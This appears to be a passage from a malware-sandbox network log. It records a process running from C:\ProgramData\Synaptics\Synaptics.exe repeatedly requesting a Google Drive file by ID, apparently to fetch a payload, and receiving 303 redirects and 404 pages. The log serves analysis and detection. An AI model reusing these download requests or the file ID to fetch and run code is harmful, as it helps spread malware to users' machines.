100	192.168.2.7	56105	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:17 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:17 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4QuUDVeaIscsRcEStUuANUyPcaFeT6grvcu8_EJlsc3WhbYYskfSRJe-AqfasN3GZyjU6vgwM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:17 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Y3pQZOTTcVmzq-MRCR0lMA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:17 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:17 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4b 37 35 5f 50 6b 68 4b 77 45 31 39 57 72 73 75 69 6a 66 62 73 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="K75_PkhKwE19Wrsuijfbsg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:17 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	56103	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:17 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:18 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6wJAl1sUmWEHAJ-TW5-X5Nj2_LrXwhDmdbTPiwjQ-zaVs3tJm2Ht-x7bV9nERtj1Pc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:17 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Lk-p2cSuSbgFIcw-UeKBwg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:18 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:18 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 54 51 6c 32 6c 33 79 6a 39 55 43 59 4c 4a 31 46 62 69 54 48 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="mTQl2l3yj9UCYLJ1FbiTHA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:18 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	56108	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:18 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lX7Sqsmn80cN9pfcOs2wlw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	56109	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:18 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1wabNKPAlU3j26G0qrkK-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	56110	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:18 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:19 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4_OUpdSWsl6MQFj8ClfE_p1fL63JiiQuEfqx_SsxGBkNrbxbu4JHJWIAe3ien_vH14 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:18 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-cOR6AMNJzj0X4IRj3PFS3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:19 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:19 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 34 50 57 75 48 6b 6e 65 4f 61 73 51 77 66 74 4f 42 6e 4f 52 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="34PWuHkneOasQwftOBnORg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:19 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	56111	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:18 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:19 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4C0LZJ6pG5FSuBqKFlq8WNfo5Poufcp6T2luEDOl-epEAaTBWMbwEkLdbomNTuW0hbTC68J4w Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:19 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-w4GIs-zrZeboxboC7Cm2Wg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:19 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:19 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 72 37 61 47 77 6f 66 62 5a 44 52 70 50 36 32 46 6b 68 57 48 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Xr7aGwofbZDRpP62FkhWHw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:19 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	56115	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:19 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	56114	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:19 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	56116	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:19 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	56118	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:20 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
